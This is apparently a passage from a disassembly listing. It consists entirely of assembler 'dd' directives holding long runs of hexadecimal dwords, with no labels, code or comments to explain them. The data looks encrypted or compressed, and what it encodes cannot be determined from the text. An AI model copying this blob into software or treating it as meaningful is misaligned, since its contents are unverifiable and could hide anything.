6CD15809h dd 0CD3E024Eh, 0E2A7941Fh, 7A4B9989h, 693F0D6h, 5E514A3Fh dd 570C2859h, 0A261562Ah, 951A7E31h, 0BF395858h, 0DC0C2877h dd 0E63CB0Ch, 1F30304Fh, 1E3EB11Ch, 163DE4EFh, 0C9D64938h dd 0CAF10042h, 57D06840h, 587A0011h, 0ED9B805h, 4530E988h dd 89EA337Dh, 17603B6Dh, 0A4EDC201h, 702943C7h, 8A5FDACAh dd 8537C791h, 1A262D00h, 0BABE5598h, 6F80720h, 75AE1309h dd 7324805Eh, 95299047h, 81EEB72Fh, 245F1060h, 634FE92Fh dd 0E180270Fh, 0CB8853ECh, 950578CAh, 68CEA2D9h, 6DA2DDEh dd 0D3C21D4Eh, 5FCA4653h, 0B041865Bh, 0ABED340h, 159B5671h dd 617404A2h, 0CE50C04Fh, 3C281E75h, 2405C021h, 29E8EBF4h dd 7269F944h, 21B1C2A8h, 0F41F28F1h, 0B63B16B1h, 3A085EE7h dd 0F331A74Dh, 0BCCB3BC3h, 137749C4h, 3DA46A04h, 0A997B623h dd 90706102h, 0AF0B7E0Ah, 0B81F3E5h, 29B0508Fh, 4482A502h dd 4E81E6EDh, 0C8E58C7h, 6F3F2DDDh, 12D4DA5Ah, 17F62710h dd 3B406EE9h, 7658252Dh, 50551FDAh, 0C93495Dh, 90101E9Bh dd 9258C10Dh, 0BF015E50h, 29A9AF89h, 0FA761BDFh, 5A7772ADh dd 0BB52C45Ah, 0E90BA0CFh, 0C0E6F448h, 654AF200h, 870F1497h dd 0B7B29AF3h, 0BC4C0DC0h, 464919BAh, 884505E6h, 9B8631E5h dd 121FB616h, 64070758h, 905B2C8h, 0F9E1200Fh, 0B056781Ah dd 53B74039h, 7A4F98ECh, 12E49A3h, 3B4E425Ah, 0A1133052h dd 3E041D3Fh, 77BFA0B1h, 0D18EB536h, 6F895E7Ch, 9210C2Ch dd 4532E9D0h, 0C3883C54h, 0D4688602h, 0E62D496Eh, 68D2B83Ah dd 0BE1E596Ch, 845D8B85h, 134A805Dh, 28756A14h, 5186C724h dd 65ED6850h, 54BD5D39h, 65046F90h, 0C4101E03h, 5AD84B70h dd 342C6201h, 0F5E1DAF5h, 5E4020F3h, 860C0760h, 0B01C9056h dd 3BF20007h, 0EB313329h, 254BF9E9h, 6B8995FCh, 0C2BFF178h dd 3894C628h, 5496C7C6h, 0C13B0158h, 20789117h, 0B9355128h dd 2E1711C5h, 0C34FDAFDh, 0D7C61909h, 0F7CA25A0h, 0C9BCEC4Ah dd 4EBE6410h, 0EB009EE8h, 55FDD49h, 0C1012147h, 0E9C63145h dd 0CA7AE497h, 22680A5Ch, 0A0BA8C0Ah, 1C719DBDh, 0C9045792h dd 0B21A9F17h, 0F989D710h, 9BA84AFAh, 5BEED231h, 2C1C1D61h dd 42FD5962h, 0EB88F451h, 0F8305121h, 89B7651Ah, 0E833C232h dd 3C182D80h, 14B545A0h, 0FBBE047Ah, 8041F806h, 5E3BA469h dd 8F0F2D05h, 0D1F439C7h, 93D105D4h, 0E89BE9FEh, 0C380C2AEh dd 5224D484h, 44E0897Dh, 2FA42AB6h, 39E9121Bh, 8DDFB4CFh dd 88FD7B51h, 62B4674h, 23C5AEE9h, 6950ED1Eh, 7FB23E52h dd 2698A04Fh, 78B90F40h, 164613B2h, 0F45B1EC1h, 3B5EB868h dd 968B8C49h, 4145593Ah, 0FD4F20D3h, 142565C0h, 219408h dd 0A6F92D40h, 0D7E9B007h, 8F361069h, 5E00324Ch, 51595FFAh dd 8DE4C01h, 13B85E10h, 921D0966h, 760F811Dh, 72929E8h dd 0CA4B8F21h, 3E67D55Fh, 601F3088h, 527FB050h, 10A8B658h dd 68098EB2h, 0CFB03D61h, 0BA9FF2F8h, 9D2DB01h, 1F5E30D0h dd 97F54750h, 6FFD6D2Eh, 890B4A59h, 0BE67F8C2h, 2FB54603h dd 1D582DEAh, 5D8879Eh, 0B8C71EC4h, 8E29A0C0h, 5E10986Ah dd 0C1D4B408h, 406B0F12h, 0E34B803h, 24C08D28h, 19787709h dd 56FA0131h, 3C293F76h, 28D9CB6Ah, 0F426885Dh, 0F8927703h dd 848558B9h, 0E437FB42h, 70446B93h, 2718BEF5h, 0C67EB79h dd 52018394h, 3F1FB268h, 0FBF1AC8Ch, 0E2E5C97Eh, 105E2743h dd 697B279Eh, 74D661CFh, 57C330C2h, 8EB70766h, 0E5585106h dd 6B544B02h, 4D00178h, 2E5A0881h, 69E912CCh, 0A682A9CEh dd 0C10123B8h, 0D6D05E5h, 0B5843C8Bh, 0EA13AF3Eh, 2C155201h dd 483F26BAh, 621C088Ch, 295B9A82h, 6DA990CDh, 0F9AD8128h dd 0ED2735CCh, 0BB868C8h, 5442F468h, 0A906EBFDh, 12D2BB5h dd 9D854E73h, 0A0BF25E6h, 8878B762h, 0BE66C8FAh, 198A312Fh dd 7241D808h, 0DE52C06Fh, 2648FB49h, 0C2517825h, 9E1CBE08h dd 52FB004h, 27C08D1Fh, 5C6CE918h, 388492F3h, 50BE1B37h dd 18CDBD8Ah, 0B9B3DAE9h, 90504F7h, 0FB0122B8h, 0D83AA90h dd 0F5234BA9h, 9CEF2015h, 0F3181995h, 0A16BD5F0h, 0C5C466B7h dd 3D4D9853h, 0F1174908h, 576124Eh, 0A8448DD2h, 3DB7C331h dd 0E32607C0h, 29C92F23h, 89906BD0h, 0B6453F5Fh, 4F361CCh dd 38BE277Fh, 235E3E52h, 0F3C022A1h, 0B538925Ah, 5037A549h dd 5041BEA1h, 27A8325Ch, 0BF016105h, 122E1DECh, 16E7D12Dh dd 0B26AA00Ah, 4A41AF58h, 0DC51960Bh, 0FCBF6093h, 10CA5543h dd 0E10191F9h, 151A2AEEh, 130F3120h, 209EF18Eh, 0C30C8DC6h dd 490FD1B5h, 68044D96h, 5CE83097h, 3182A2A2h, 6FD05EF0h dd 4FEC2505h, 0BCC17312h, 0B26A2694h, 876885C2h, 614A49BAh dd 0EEC166C0h, 0EA736197h, 9CC90FEEh, 0E910558h, 0F2C46865h dd 97544F4Ch, 563AFDE9h, 0AA09AE83h, 0F64600DAh, 0C1329729h dd 752D7C0Ch, 0A16C70D5h, 727E0817h, 62A49103h, 0F2098B1Ah dd 8804755Ah, 2F20F16Fh, 6285232Ch, 79FAA9DDh, 0F4EDC87Ah dd 6595875Ah, 57F12F49h, 5C0528A1h, 0A549EFE9h, 0F87B7A5Fh dd 5E5A1764h, 5E8FCB29h dd 0D27558F0h, 0B0080C64h, 0F20CBE0Dh, 38281705h, 5055BC5Eh dd 7882BFBBh, 0B80C2ED7h, 9DB822Ah, 0B9DE1335h, 30368E0Ch dd 0DADA9DBBh, 2CAC83B5h, 0F3E7C80h, 788517FCh, 0F3B5C193h dd 0E5BF00C6h, 73252F7Ch, 831EC960h, 18CDA09h, 0B5C9D1FDh dd 98E700E4h, 0ECABE90Fh, 685C3EC1h, 643C129Fh, 353601C1h dd 0AB328065h, 96DF949h, 1CD198F2h, 0C22416E2h, 28AAE94Dh dd 0B31009DBh, 16708384h, 13823BC4h, 21DAA464h, 0BCC17B1h dd 0EE82D78h, 681393F8h, 0CA883E0Ch, 2078B055h, 24A03ADAh dd 8A281EA2h, 0F260DA68h, 0C4477E12h, 0C5E92709h, 0C39D4E83h dd 7F4F44BBh, 942CBF39h, 0FC27E412h, 53FAA479h, 5A2C0574h dd 0ED1B9EBh, 0A84C0459h, 173A26D8h, 9381F9ADh, 58DFA01h dd 0A8211174h, 312FCC6Ch, 0E8657758h, 7AA9BDA1h, 0FE02A648h dd 29625F40h, 882EBD0h, 2BE6FC1h, 6019D6BFh, 4D4419ABh dd 845BEEA3h, 0F49325A6h, 46935836h, 25BB6508h, 0DEB53F69h dd 6F10080Ah, 7CDE6625h, 9915A146h, 45AC3CBEh, 0F824B81Fh dd 41961242h, 4D850F01h, 0C94D8BEAh, 0BB35125h, 8314E7EFh dd 60EC7195h, 1B693B1Fh, 7AD4E916h, 0B74061E2h, 58774025h dd 0EC1D30E3h, 44345F14h, 56C201BAh, 0FA31277Dh, 0BE2C030h dd 2BD037E6h, 5D828409h, 0F6F02340h, 0BDDB449Dh, 5C6F4C94h dd 0F41011FCh, 51681285h, 417663D1h, 0C5C5BF94h, 9895F8Bh dd 0DB1CF4ABh, 0D8D92297h, 9B964617h, 0AE562421h, 0ADF528Ch dd 0DD725D61h, 0AAA43F18h, 0DF47BA97h, 5D7FA801h, 3DCDF07Eh dd 5E421F04h, 0C1BFDD87h, 9CF14E25h, 0F6654B36h, 0AE8104CCh dd 16CB1FE0h, 42775C45h, 0DFC1FC88h, 384B7507h, 4D6809C4h dd 0F0167503h, 81E8FEA1h, 0DF69C195h, 0C73E8251h, 0F088E234h dd 53389C55h, 4913BF5Ch, 8F7AFC92h, 0D463C968h, 0C1C45B5Dh dd 28D8211Dh, 104DD46Ah, 0B902100Ah, 0BF3224Dh, 0A4078B80h dd 2938CF1Ah, 7C0EA6E9h, 0E9EFFCA5h, 126D9E55h, 0CC771468h dd 2A4E45E4h, 4F071243h, 10C9614h, 1AF80254h, 29B366E9h dd 7CD6DEBDh, 62B11F42h, 0FEDF40C0h, 0DD6815C9h, 810A21Eh dd 35480188h, 2FDF1725h, 9071C13Eh, 0E7C83F84h, 5250045Ch dd 8488DEB2h, 3127AE71h, 8AF96D55h, 0D272E53Eh, 12DAA75h dd 0CAC90CAFh, 0D9903F1Dh, 257275EBh, 3FD66A6Fh, 699008A0h dd 1E7ADD20h, 903EDC1h, 47F9EE28h, 0C622A66Ah, 82B4D39Fh dd 74C4632Eh, 5C080C12h, 7A6E9FC3h, 0E989D9A5h, 0A2E7F84Ch dd 5A3D7E9Fh, 76A553FCh, 5C6625E8h, 19BB6817h, 718D018Ch dd 585C1E40h, 0AB0DB52Dh, 28C7B390h, 309D2563h, 8A03B56h dd 0BE815184h, 37DD6E26h, 0D33BB23Eh, 46D429BEh, 0D58137CCh dd 890F006Ch, 0C6E657Dh, 0D708FE4Eh, 55843B29h, 0C150D0B0h dd 216C1378h, 0B1E341B1h, 1E1D11B7h, 8058206Fh, 109037E1h dd 0C5389B25h, 109BA6E3h, 0EFF054F6h, 1F494A4Eh, 95B05717h dd 0BB809EACh, 65AD0BC3h, 57823140h, 0C101C4A9h, 52B04E7h dd 613323F7h, 9203DBB4h, 85E0A959h, 0B7D7EC49h, 1AC5C6A0h dd 6B58055Ch, 13E83FF4h, 0D0AD16F7h, 4EF8F3D3h, 0D25B139Ah dd 4BC150A7h, 5366D1Fh, 789E1785h, 0DC490AEh, 0F55C1121h dd 27411725h, 4A62A88Ch, 3C014B2Fh, 0EAC16D21h, 0E2622002h dd 0F5F7BD05h, 38FAD601h, 1624EBD1h, 0CD0223EEh, 60B97225h dd 958F923Fh, 0F45DAE8h, 873E8015h, 96F50781h, 0E9E217B0h dd 7742F0F9h, 0E0DD4B45h, 743F65D8h, 0A83D1605h, 385C3C30h dd 309F98C1h, 0F14B6BC5h, 0C326B1A8h, 90B09556h, 5091113Ah dd 1CDA8408h, 0D34AF709h, 573FA4C5h, 0E58194A8h, 10628909h dd 0A33E0778h, 2E81CA49h, 5F32F883h, 9ED9047h, 3CF95676h dd 8140F5AFh, 0A6F8E7F7h, 0B52D7203h, 0FF68CC11h, 7020595h dd 771E91E9h, 4AF4B8ECh, 10CCD94Ah, 21DCBEAAh, 4CF46BB0h dd 2D0F743h, 20F03504h, 36C1757Eh, 555B0182h, 2141B70h dd 893F3A7Fh, 5C6A5AD5h, 0DD63880h, 0CC155BDh, 35FD3B37h dd 0CDBC006Ah, 250C3389h, 324740DDh, 0F2C05A01h, 60B9602Ah dd 258E0C70h, 0E92A47E6h, 694C9E0h, 0C05A2D3Ch, 19A1BE18h dd 96790E6Bh, 5F752298h, 9345D0B5h, 60B29D57h, 0FC3C1296h dd 4FA0498Ah, 0E9A159E8h, 3472893h, 0B65266ACh, 1DFED180h dd 6A304B79h, 3D93CF73h, 0F385305h, 22E9C28Dh, 0BB9F728h dd 0F80139D3h, 0D4C1112Bh, 55617E53h, 277C82AAh, 7630C1C9h dd 92447C9h, 3C02622Dh, 83433F44h, 0B253A99Dh, 0BFF55877h dd 50B2E96h, 2B80C0ACh, 26F4F4C1h, 57092D83h, 0C704B0DFh dd 0F3239D8Ah, 6492375Eh, 0D426E343h, 35803766h, 43B63997h dd 7318C448h, 96520B13h, 12B97AA9h, 0BE64161Eh, 9EBAF16h dd 3D0D4FDh, 65F4803Dh, 4CF12B44h, 95D5B36Ah, 50AC44Ch dd 0F750F413h, 0CD8127BCh, 0D357092h, 47379340h, 29131789h dd 0B4D0FCE8h, 7FBD8CC5h, 2B043848h, 0AA3D1514h, 8126294h dd 548B4F09h, 87EE8020h, 0F0CC502h, 4F40F3F7h, 271ADFC5h dd 0D499112Ah, 477225A2h, 565A5971h, 83879EFCh, 0F381E0EBh dd 0A876211Ch, 566692BFh, 0D1E950A0h, 1811744Dh, 880A6984h dd 5A5373D4h, 0F161B8E7h, 32C155Bh, 0DF56BBC1h, 32C22E41h dd 53ED004Fh, 0E7EC099Dh, 3718C20Bh, 0CDC20F44h, 826E3E08h dd 88804ADFh, 46E86294h, 0CEBF5703h, 739A865Ch, 0AAEBA321h dd 486802D2h, 5F2D0B5Dh, 9AD2911Ch, 0C16E9FF1h, 37EAF4Dh dd 3EF4704Eh, 0E1DF96B9h, 3A4ACA75h, 0A5B4C55Dh, 7C85D854h dd 3F85EE18h, 63361999h, 0B8E6E909h, 4F422F51h, 0BB187555h dd 0CE3262EAh, 60085A06h, 0D067057Ah, 0C2098512h, 0B5C36EE9h dd 7C933350h, 1DFD5609h, 0A565F829h, 991EA759h, 8BF0E925h dd 0D32E56E0h, 0D2CAD24Eh, 512A0545h, 2D88115Eh, 5E74E950h dd 87EB6CF1h, 68D90C4Fh, 16AC0DA4h, 0BF133481h, 0E2AFB049h dd 31BC53A0h, 36F568E6h, 12125803h, 0F45FEA4h, 4AF33A95h dd 0C175B81Eh, 0EB057A49h, 60F1216Bh, 3AAB705Bh, 0AF274210h dd 9218AC5Bh, 0B757B5B0h, 0E4A7FEC7h, 0BF67E29Dh, 8E48BA32h dd 3D730E54h, 0A23A00B0h, 8A39280Fh, 0C7083A02h, 0E1CB3132h dd 5307A415h, 0C716E4EEh, 29CC25B3h, 31604B5Ch, 4090660h dd 57391E82h, 48F68F6Eh, 5E0F0997h, 9037E2B7h, 0D1BB5300h dd 0D74B4C2Eh, 0B8C0E12Dh, 82EEC88Ah, 0F1B8675Ah, 30936E6h dd 861A0646h, 820D072Fh, 5241B295h, 0B89ED771h, 67CC5E6Ah dd 88969606h, 0EE2DDA12h, 0EBB0FA96h, 67242576h, 6F5EA5EAh dd 6D3CBD51h, 0EFB5BA02h, 4BD565FDh, 2D5EF8CEh, 9A742E53h dd 0A49C1EBBh, 9D056FC8h, 0BB49FB92h, 6816E0A1h, 0BD225AB9h dd 0D603B1A2h, 2D2B593h, 41CDB2ECh, 1A5F80C2h, 0B95AA1h dd 0C73A22BDh, 8E0F4D1Ah, 4B917B4Ah, 0F6509543h, 4FC0162Dh dd 4F388F0Bh, 0E92E2AE8h, 830F2E58h, 29DC2C3Ah, 6E21838Ch dd 0A3681B0Ch, 4058A952h, 414AC9Dh, 10812CE2h, 311028C8h dd 0BE92111Ch, 50FE714Ah, 88DF4255h, 0D5D9FE07h, 0B453BE07h dd 5C73B018h, 685B8195h, 4F2657E7h, 4C05742Fh, 10CBBA51h dd 0DAE6995Fh, 5E4AE918h, 0B691E4A6h, 2143D89Fh, 339F6AD5h dd 7C214AAFh, 204C2CCDh, 3A0604BBh, 0F2010347h, 680A40E7h dd 5C4D232Eh, 0DA5D5EC0h, 0ECA09F26h, 2D2167BCh, 0F15C0125h dd 990CA0F1h, 95FEC482h dd 550A853h, 0E422C505h, 0EAAE1BC2h, 68755E42h, 802227D4h dd 0E4D55AD0h, 515AC2DBh, 456018B5h, 949D7EA9h, 142D677h dd 0D24F6904h, 66D13F7Dh, 4F3AF33Bh, 4FF0578Dh, 4856CEA4h dd 5C0082BEh, 57AABA0Eh, 31483D65h, 0C0DB259Ch, 0B8C78042h dd 5FF73D96h, 9A81ECA5h, 6B30F6B2h, 9C2C28C3h, 0CA030BFFh dd 7F5E76C1h, 0EA225B3Dh, 0C5656018h, 9C16D2EEh, 0AEADEC0Bh dd 83A92Ah, 0F8884CB7h, 0C0022C5Bh, 0BB06E83Ah, 1205C884h dd 565023AEh, 25464896h, 7830E0C7h, 8BC582AFh, 740AD3Eh dd 3FD6860h, 0B738F1E8h, 0B895612Ch, 7075ED01h, 377C250Dh dd 3D0F64E0h, 35E22281h, 29F57D14h, 0D4DE0B68h, 7EB25837h dd 22D5202Dh, 6C6FFD0Dh, 66DF2059h, 937D6197h, 9F1998E4h dd 65623551h, 9A9D7E94h, 23066D7Eh, 44C0BF10h, 80C9FEB2h dd 14EB48C1h, 8CA84A7Dh, 7207AEDFh, 0CE291FF4h, 4EBB8EF3h dd 0E49B011Fh, 3A4EB43Bh, 3029C028h, 0E919206Fh, 0A29FC2C9h dd 29A55EAh, 0F980FE01h, 78B43484h, 0E95045B4h, 0D8B35837h dd 0BD455C9h, 4B5D4BC4h, 0F1C66453h, 0AE9154F0h, 0C902BB68h dd 402CD256h, 5C58B663h, 0EA589BBBh, 5C84078h, 4D6A309h dd 8E310C9h, 29FB0860h, 0CC84401h, 0A3E95804h, 9BA4EB0h dd 3DAA7D3Ah, 0EA3EE481h, 51E46EBDh, 58C30489h, 0FA4FE868h dd 4B417CCCh, 68C92C84h, 0B6858C42h, 0D582AF5Dh, 0FB4AEA3Dh dd 248EA273h, 98753510h, 0BE9EA0C7h, 0E59591ACh, 8FE909C8h dd 0B92C2AFh, 44782105h, 0EABE7997h, 0C07209A8h, 0E6C50824h dd 0B0CF1753h, 8B9EB1B9h, 0D04EA19Ah, 2FE7D5F6h, 0BF113231h dd 52817E38h, 924B4068h, 6B531DA3h, 2D68A43Ch, 5B712B6Fh dd 51B029Bh, 30CFC5EAh, 0ED33C07Fh, 0A62C29ECh, 1C34B12Bh dd 91C081Ah, 0E0840414h, 5D210500h, 31284604h, 6E20A8C2h dd 0C59B089h, 6C67424Ch, 513B9A0Ch, 0F1F2DF1Bh, 0DD463106h dd 0DA0B1E13h, 7C508EA3h, 287830FCh, 5E65C70Ch, 813ED89h dd 21016F8Ah, 0B5E91C6Fh, 0D4EF9325h, 5280C1F9h, 2D718E23h dd 300B33F2h, 9E0C170h, 0B9B5CB0h, 0CB037342h, 9A1F5DEBh dd 654C6C6Bh, 125E9C43h, 0EFC4FC9Dh, 0F5056901h, 9D9FABBh dd 0CD027B6Ch, 5F6A7AF1h, 57589678h, 121E27DCh, 0AFEA7D4Dh dd 281CFFC1h, 0ED6809B5h, 5AAFC635h, 0F5F944FCh, 60BB0062h dd 182D4963h, 9C06E3C1h, 0B00E4180h, 8C8C0F05h, 0FCB652Eh dd 55564A70h, 7F3E8486h, 0D92EE912h, 0D47C96DDh, 0C6173948h dd 0C16CB871h, 1353B866h, 9328C1F5h, 7F62CB5Eh, 1DBDC5Dh dd 305BF580h, 0C7ED59EAh, 0D0580E6Eh, 284868C3h, 0BC5D8518h dd 0B505CCF3h, 0E9E131D9h, 9D2BDFDAh, 41023694h, 65FF2118h dd 0C0A73A05h, 0E11DE710h, 500AAE8Fh, 9A91B055h, 4CD3BD81h dd 3F20527Ah, 40071D2Bh, 0DBF58034h, 0F438E33h, 82C68A25h dd 0D7EDD19Fh, 0AFA7AD89h, 1FFB9B2h, 66FE28F2h, 281D028h dd 3ECF3AE9h, 5A18DC98h, 57E8321Bh, 2909561h, 4A4D6801h dd 18949FD2h, 91848495h, 0B55262F0h, 3101E9FBh, 4F335A0Ah dd 4A06DB46h, 8484F951h, 0B2057DEBh, 0C783C2F0h, 30FE9AC1h dd 50B501DDh, 68E5377Fh, 0EDE9D106h, 0E6BB74DDh, 305CCC5h dd 56C1D9BCh, 6B091268h, 508269F6h, 0A2E073B8h, 910B0576h dd 0D5897C82h, 1E51E586h, 591AED00h, 6437B956h, 2C2FB8E2h dd 0C0B885D9h, 1EC66C6Dh, 30FB819Fh, 0C52F37A0h, 40F4ACD7h dd 24EC590Ah, 14DA4C16h, 74089ACh, 0BB455468h, 0CC082DE9h dd 20B59939h, 0A8406E7Dh, 7BE609BDh, 0DF764560h, 0B9B03D0Ah dd 98074F41h, 1CA6C30h, 0B011839h, 28C9830Fh, 37715E0Fh dd 207F6BACh, 525A5C33h, 20FF5658h, 555D0661h, 9F0D1D68h dd 3BB71B20h, 39AF17B3h, 0E8B9D961h, 0E0FA003h, 0A559CD31h dd 3CDA8E0h, 977ACC71h, 1A74F28Fh, 5CBD11F5h, 1291F62Eh dd 1EA76046h, 4C38680Bh, 845AC4FCh, 0A8142FFAh, 0FCD34D13h dd 0EB26F1B3h, 40C68301h, 71F5F685h, 0EB4B5B8h, 0E027CB25h dd 5C1FDBD2h, 6254AE9Dh, 8B93B9BAh, 78D45AD6h, 9B8B5C51h dd 0E663A1E9h, 975FE1A9h, 6F09580Ah, 96A6035Bh, 0EA692D06h dd 0CC13F5Ah, 49A467CEh, 88D502Fh, 0D1A8E909h, 0CBE8BF25h dd 44B25ADBh, 0B9539658h, 6B99F93Eh, 2A590E0Eh, 50F49ED9h dd 2DF39F73h, 5700C7ABh, 0ED5088BFh, 0DFF72870h, 0CD82291h dd 0AF137AF2h, 40AB8F12h, 42DEC739h, 15B0E10h, 8137F84h dd 453964AAh, 0EBE0B691h, 2EB40D30h, 8D6FF968h, 85D89060h dd 2726E94Eh, 0F106CB18h, 453D274Fh, 978F3338h, 0E4894B6Ch dd 0F50925E0h, 0FD607EEh, 0D28926F9h, 1127A575h, 0DAF6D045h dd 664741AAh, 0CBEC8850h, 960BBEB4h, 451A381h, 81C7847Ch dd 4147D00Bh, 109601B1h, 4048F10Ah, 441CD68Eh, 1088164Dh dd 4F04D913h, 0C1E7C147h, 2E2A9655h, 66055C60h, 50491338h dd 70D1001h, 0B2E3E90Ch, 822A0F40h, 9C9389FDh, 1EA32A88h dd 5DF54640h, 1A3FA268h, 422C2503h, 92657FFDh, 0E9A1EA90h dd 5E3A2854h, 0CA4AAC8Fh, 5CAA45FBh, 612AE9CBh, 0CDF05563h dd 3A9008BAh, 0F6991920h, 0ACF25B8Ch, 4C52B2E7h, 0A1097FEh dd 0B0B6BDC5h, 1AFA9951h, 970A060h, 0A8F6BBC0h, 0F6341D6Bh dd 2F8F9EC8h, 0ABE0ADD4h, 4308F69h, 0C0163C2Dh, 1E44A840h dd 10C2AC94h, 580A0E9h, 4272BA59h, 316DD73Ch, 4042642Fh dd 41142B0Ch, 92403EAFh, 0BF4907EFh, 19E94250h, 5DFCF9FAh dd 7F875A82h, 26902574h, 365DB272h, 0C4CB4B90h, 36779C00h dd 4393BE70h, 31673212h, 0A090451Ch, 0FFD3F61Dh, 6F997F0h dd 6073242h, 904A159h, 53E2D1C2h, 0E98343F2h, 8740F84Ch dd 0CF0415AFh, 0CB215851h, 5AC187E4h, 598898AAh, 0B3951BDh dd 0E1D35D51h, 46370A0Bh, 1EF22FCEh, 2E47C3F9h, 730D0018h dd 508D951h, 0F054831Dh, 0F5F9C865h, 78301444h, 0FD58F21Eh dd 0CCE4571Ch, 12470893h, 62B97FC0h, 4B104D46h, 3F47E441h dd 3E5B5E14h, 71AA07D0h, 0AFB28274h, 0F3B6407h, 40450D18h dd 162CB366h, 63C23139h, 2FC97D6Ah, 0BB40285Ah, 7491726Ah dd 0D58D14BCh, 2214B28Bh, 520F5CC6h, 0C8A14092h, 9F381C0h dd 0AB8D4E5h, 0A694B450h, 9318F769h, 6E581FE9h, 0C8A5A5A3h dd 103BF32Ah, 0EC58F508h, 0E84B883Ch, 0AAE2B5D6h, 2690810h dd 761FEE2Dh, 0AC08FD5Ah, 41532807h, 23282F18h, 4BCA97FBh dd 8D6D607Dh, 1479282Ch, 238812D6h, 6BABC57h, 5422020Dh dd 1CB80CDCh, 3E246608h, 0E617418h, 0BA27618h, 0EA01AA8Ah dd 0B6122805h, 64B7AD6h, 992D0513h, 0EBBD122Ah, 2A68982Ch dd 525157Dh, 0CE45D4BDh, 9EF9102Fh, 0F398AA30h, 7B055728h dd 0A271E96Ch, 0B9FC5393h, 2DC3B5h, 3B4AB704h, 0D90ABE32h dd 942508EBh, 0F0C3B714h, 331E3404h, 0C4EA7530h, 44930F06h dd 8237D4E4h, 35DE62B1h, 0D97C2A40h, 2D582857h, 1DE92D06h dd 0C2B98A00h, 4990C8A6h, 0C05EF134h, 17140FBh, 0D47FE9D9h dd 0D250B39Fh, 2D49D40Eh, 3408A1D1h, 5AF43030h, 88981F7Eh dd 8BDCD630h, 92751EAh, 0FA010790h, 7BB9B500h, 0D7F936E8h dd 31785CA0h, 3CA07FE3h, 8D585AC2h, 36923A69h, 95C3F849h dd 4CACEE6Dh, 77C78E4Eh, 3CC89FF2h, 4DD9420Dh, 0EDE8896Eh dd 7B046F1Ch, 0B1B8CCFEh, 3AA72C3Dh, 27BB68FEh, 86604040h dd 0D4F633E2h, 0D4B7D008h dd 0C092A0F8h, 5307ED1Eh, 22979C4Bh, 9B1AA61h, 0C2373AF5h dd 8B66FCBEh, 0E909CFBEh, 846A5AE1h, 5E0C6825h, 3DB63F8Ch dd 8B976662h, 88069117h, 2BA920F3h, 676DBD81h, 1CEF2912h dd 0FD1AC296h, 0F08084C8h, 61F0322Dh, 0BF0A3690h, 0DC5A3068h dd 441F5104h, 0DBC366C0h, 31091385h, 0C21F1C29h, 0EE23E9FDh dd 1C4E93D4h, 2BF52D3h, 0EA88DB7Bh, 186A4C5Fh, 608E2C0h dd 0F2388004h, 54D02553h, 0E6C94E8Bh, 0F7DCB64h, 416835F7h dd 2A2F8850h, 0B61151D1h, 9EEE8105h, 0A698FC59h, 8B0DF19Dh dd 0D07B7502h, 0BDC9F8AFh, 0A2278FDBh, 7CBCB0A1h, 2F66827Dh dd 946BBF51h, 24FA5DF1h, 4A0B108Dh, 0D2411AA6h, 1253E82Ah dd 0C4CF1C30h, 0F9438060h, 0DD79CBB2h, 4B5DEB3Eh, 8D3C9C89h dd 30BFD612h, 0B00F31C7h, 0EAB94B50h, 95D07A0h, 841C573Dh dd 69216851h, 0ABD246E3h, 70682761h, 0ED4A156Ch, 0D129C691h dd 5B6EA44Eh, 0BE898859h, 881A1554h, 20CE48h, 0E3C0595Ah dd 5E840F03h, 0E9F7050Eh, 0B9C55244h, 4A90248h, 755D43B2h dd 0F2ED7168h, 0F0D4C282h, 3A6F9F45h, 0D513320Bh, 3E05810h dd 0A46F3504h, 0DB846D24h, 0D296ACh, 951E315h, 42FD2922h dd 6ECF7A8h, 82A45764h, 176F52DDh, 0D4B3EC63h, 0E95E406Bh dd 72B8955Bh, 8F4B0BDEh, 126FA94h, 2B0235CFh, 414C4144h dd 2FD4C59Eh, 0F6839531h, 6441D729h, 5AB8500Bh, 142768FDh dd 0B87C62Ah, 42BA1757h, 9A016C58h, 0E93D5B74h, 0B553270Dh dd 0A9F384F3h, 0A71D354Fh, 0E7AC4BE9h, 7F8CFBA4h, 66814001h dd 0BF1AD5Eh, 2ABCB842h, 1BB24C9h, 6CE66298h, 82A13A29h dd 63D18F0h, 4FE97E84h, 0F8B52FABh, 69C61D0Ch, 8157DD51h dd 77A571EEh, 8B042FACh, 41BBB724h, 65E3C354h, 25D4F6F4h dd 2808EB14h, 64029556h, 0E96DC454h, 0CB0ECA7Ah, 0F9E44F87h dd 0AC6E86BFh, 24D06821h, 0A58FC804h, 58511E56h, 2814BD22h dd 6881FD2Ah, 7F4EA41Dh, 0A96B1FC2h, 95B45D86h, 0C3FDC2B5h dd 0D72DC0F1h, 2A4AB732h, 885F0803h, 271EFDD4h, 53894199h dd 0C5F2F23Bh, 49BF09F9h, 0C3620DCCh, 26D9C75Dh, 0CE892541h dd 4D2566DCh, 0FA53167Eh, 3B021E40h, 30811E5Fh, 0E90D06F2h dd 68CB7CDFh, 4D3045Eh, 0BC99D1BBh, 0B9ECEBBFh, 0A1E9C5C2h dd 61B3F592h, 1FBED9E8h, 0EF0C9713h, 0C4072631h, 2FADEC04h dd 6284F606h, 0BE7E15D3h, 0E673382h, 156BDF32h, 2E0D829Fh dd 72020D78h, 0E964377Ch, 3E5EC9h, 0B37B06BBh, 6805521Ah dd 2A790C96h, 0E95F83CBh, 5CA00E7h, 0F4DB656h, 8F752F8Dh dd 0C2728B5Eh, 81751064h, 9CDAB5C5h, 9D57E913h, 0A8901EE8h dd 52111C1Fh, 0A8890162h, 9C781A46h, 22425E6Eh, 4A76E96Ah dd 0B08075B0h, 0AF40026Bh, 37051098h, 4B662C46h, 12C2A808h dd 0EE490F50h, 2D1F52Fh, 0D45A3CCAh, 0E413FF2Fh, 0E9020605h dd 0A22023A7h, 30053B80h, 0E29A4066h, 175E4474h, 2E6A11F2h dd 6C0189BFh, 60603C7Eh, 9C627A0Ah, 2A585191h, 30C43BA7h dd 37FA1360h, 0E070B56Eh, 53955942h, 7E002AAh, 506077E7h dd 4AFE7454h, 56EA0100h, 0DB1F63BEh, 31C09F57h, 499FDDF2h dd 0D8A7E65Dh, 41F15A58h, 875DADA4h, 0E9AB0D0Bh, 122EE196h dd 0C769870Fh, 0FE25B5C2h, 0C6E55F41h, 57F58FC5h, 0F6338D2Eh dd 894AE55Fh, 4459FA01h, 0B3E95140h, 0EB179EE0h, 9697464h dd 9B83D771h, 8912FC8Ah, 0B5FD8B0Bh, 0EFDB68C5h, 2EE95ECCh dd 975578ABh, 7A9DA8C7h, 2CF9634Dh, 0B11CF791h, 5927192Ah dd 6AC3025Eh, 4D5D029Dh, 3002B441h, 5A0B28DAh, 8B2914CBh 